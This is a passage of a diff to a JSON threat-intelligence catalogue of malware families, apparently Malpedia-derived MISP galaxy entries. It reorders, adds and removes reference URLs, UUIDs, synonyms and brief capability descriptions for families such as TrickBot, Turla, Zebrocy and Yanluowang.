"https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", + "https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal", + "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", + "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf", + "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor", + "https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://securelist.com/trickbot-module-descriptions/104603/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/", + "https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html", + "http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/", + "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", + "http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html", + "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", + "https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://www.washingtonpost.com/national-security/cyber-command-trickbot-disrupt/2020/10/09/19587aae-0a32-11eb-a166-dc429b380d10_story.html", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works", + "https://medium.com/@vishal_29486/trickbot-a-concise-treatise-d7e4cc97f737", + "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.justice.gov/opa/press-release/file/1445241/download", + "https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/", + "http://www.malware-traffic-analysis.net/2018/02/01/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://community.riskiq.com/article/298c9fc9", + "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", + "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", + "https://intel471.com/blog/privateloader-malware", + "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://unit42.paloaltonetworks.com/ryuk-ransomware/", + "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", + 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"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://unit42.paloaltonetworks.com/ironnetinjector/" ], "synonyms": [], "type": [] @@ -41688,9 +43928,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", "https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity" + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://twitter.com/Arkbird_SOLG/status/1304187749373800455" ], "synonyms": [ "BigBoss", @@ -41708,11 +43948,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" ], "synonyms": [ "Notestuk" @@ -41727,8 +43967,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", - "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf" + "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf", + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf" ], "synonyms": [ "SkinnyD" @@ -41743,8 +43983,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin", - "https://www.lastline.com/labsblog/tyupkin-atm-malware/", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", + "https://www.lastline.com/labsblog/tyupkin-atm-malware/", "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" ], "synonyms": [], @@ -41753,6 +43993,21 @@ "uuid": "c28e9055-b656-4b7a-aa91-fe478a83fe4c", "value": "Tyupkin" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.t_cmd", + "https://github.com/crackeeer/2006-defconbot/blob/master/T-cmd.cpp" + ], + "synonyms": [ + "t_cmd" + ], + "type": [] + }, + "uuid": "892aa73e-7cb5-4eb5-bcb7-e9864bd03af2", + "value": "T-Cmd" + }, { "description": "", "meta": { @@ -41787,8 +44042,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos", - "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html", - "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns" + "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns", + "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html" ], "synonyms": [], "type": [] @@ -42149,18 +44404,6 @@ "uuid": "bab52335-be9e-4fad-b68e-f124b0d69bbc", "value": "Unidentified 058" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_059" - ], - "synonyms": [], - "type": [] - }, - "uuid": "33c661b3-b9e7-49a7-a82b-4b5977e79cae", - "value": "win.unidentified_059" - }, { "description": "Was previously wrongly tagged as PoweliksDropper, now looking for additional context.", "meta": { @@ -42321,9 +44564,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076", + "https://www.youtube.com/watch?v=8x-pGlWpIYI", "https://www.zscaler.com/blogs/research/return-higaisa-apt", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.youtube.com/watch?v=8x-pGlWpIYI" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" ], "synonyms": [], "type": [] @@ -42474,13 +44717,52 @@ "uuid": "33c8e201-9cd1-4a44-9380-3e3d3d6894c3", "value": "Unidentified 091" }, + { + "description": "According to Antiy CERT, this is a C++ backdoor that was first discovered in an attack by Confucius in September 2020. Its main functions include creating scheduled tasks, retrieving process information, retrieving network adapter information, retrieving disk drive information, uploading files, downloading files, executing files, and providing shell access.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092", + "https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ" + ], + "synonyms": [], + "type": [] + }, + "uuid": "22ed4f2a-2ed4-4235-97c3-69913bc80a00", + "value": "Unidentified 092 (Confucius Backdoor)" + }, + { + "description": "Check Point Research observed this malware being used by Sidewinder.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_093", + "https://blog.checkpoint.com/2022/07/13/a-hit-is-made-suspected-india-based-sidewinder-apt-successfully-cyber-attacks-pakistan-military-focused-targets/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9b7dfe8f-c06e-4803-9792-48ca369e80b3", + "value": "Unidentified 093 (Sidewinder)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_094", + "https://twitter.com/katechondic/status/1556940169483264000" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db8f94e9-768d-4ad1-befb-55b4b820174f", + "value": "Unidentified 094" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92", - "https://twitter.com/struppigel/status/810753660737073153", - "https://twitter.com/bartblaze/status/976188821078462465" + "https://twitter.com/bartblaze/status/976188821078462465", + "https://twitter.com/struppigel/status/810753660737073153" ], "synonyms": [], "type": [] @@ -42538,19 +44820,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone", "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations", - "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", - "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", - "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", - "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf" + "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", + "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", + "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", + "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much" ], "synonyms": [ "Bebloh", @@ -42566,21 +44848,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos", - 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"https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/", "https://twitter.com/GrujaRS/status/1241657443282825217", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", - "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/" + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html" ], "synonyms": [], "type": [] @@ -42854,9 +45150,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate", - "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", - "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", + "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/" ], "synonyms": [], @@ -42870,34 +45166,40 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar", - 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"https://twitter.com/VK_Intel/status/1355196321964109824", - "https://twitter.com/malwrhunterteam/status/1351808079164276736" + "https://twitter.com/malwrhunterteam/status/1351808079164276736", + "https://twitter.com/VK_Intel/status/1355196321964109824" ], "synonyms": [], "type": [] @@ -43094,14 +45397,28 @@ "uuid": "ab2a63f1-1afd-44e7-9cf4-c775dbee78f4", "value": "Vreikstadi" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle", + "https://blogs.jpcert.or.jp/en/2022/07/vsingle.html", + "https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a9afe6ba-732a-45fe-a925-2b61b05e5a76", + "value": "VSingle" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer", "http://www.xylibox.com/2013/01/vskimmer.html", - "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis", - "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/" + "https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/", + "http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis" ], "synonyms": [], "type": [] @@ -43166,46 +45483,47 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor", - 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"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" + "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf" ], "synonyms": [ "WoolenLogger" @@ -43966,13 +46307,26 @@ "uuid": "258751c7-1ddb-4df6-9a17-36b08c2cb267", "value": "Woolger" }, + { + "description": "Information Stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.worldwind", + "https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ebeca38e-0855-46e1-b46c-95405917231e", + "value": "WorldWind" + }, { "description": "WORMHOLE is a TCP tunneler that is dynamically configurable from a C&C server and can communicate with an additional remote machine endpoint for a relay.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wormhole", - "https://content.fireeye.com/apt/rpt-apt38", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [], "type": [] @@ -44027,9 +46381,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink", - 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"https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/", + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html", "https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/" + "https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware" ], "synonyms": [], "type": [] @@ -44451,13 +46837,27 @@ "uuid": "4bc19ce2-e169-4f9f-aabf-ec7fc6a75d12", "value": "Yanluowang" }, + { + "description": "According to PTSecurity, this RAT uses Yandex Disk as a C2.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks" + ], + "synonyms": [], + "type": [] + }, + "uuid": "62fd30bc-1af6-40cc-a363-bb6aa85433cb", + "value": "YaRAT" + }, { "description": "Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq", - "https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview", - "https://twitter.com/GrujaRS/status/1210541690349662209" + "https://twitter.com/GrujaRS/status/1210541690349662209", + "https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview" ], "synonyms": [], "type": [] @@ -44499,8 +46899,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo", - "https://redcanary.com/blog/yellow-cockatoo/", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf" + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://redcanary.com/blog/yellow-cockatoo/" ], "synonyms": [ "Polazer" @@ -44574,6 +46974,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.intezer.com/blog/research/ytstealer-malware-youtube-cookies/" ], "synonyms": [], @@ -44588,12 +46989,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.yty", "https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/", - "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/", - "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", - "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", - "https://www.secureworks.com/research/threat-profiles/zinc-emerson", "http://blog.ptsecurity.com/2019/11/studying-donot-team.html", - "https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf" + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", + "https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/", + "https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf", + "https://www.secureworks.com/research/threat-profiles/zinc-emerson", + "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" ], "synonyms": [], "type": [] @@ -44649,36 +47050,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy", - "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", - "https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html", - "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/", - "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", - "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", - "https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g", - "https://brandefense.io/zebrocy-malware-technical-analysis-report/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/", "https://securelist.com/zebrocys-multilanguage-malware-salad/90680/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/", - "https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/", + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://brandefense.io/zebrocy-malware-technical-analysis-report/", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html", + "https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g", + "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/", + "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "https://meltx0r.github.io/tech/2019/10/24/apt28.html", - "https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/", "https://www.secureworks.com/research/threat-profiles/iron-twilight", - "https://securelist.com/a-zebrocy-go-downloader/89419/" + "https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og", + "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", + "https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html", + "https://securelist.com/greyenergys-overlap-with-zebrocy/89506/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", + "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://securelist.com/a-zebrocy-go-downloader/89419/", + "https://research.checkpoint.com/malware-against-the-c-monoculture/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/" ], "synonyms": [ "Zekapab" @@ -44745,14 +47147,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeppelin", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", 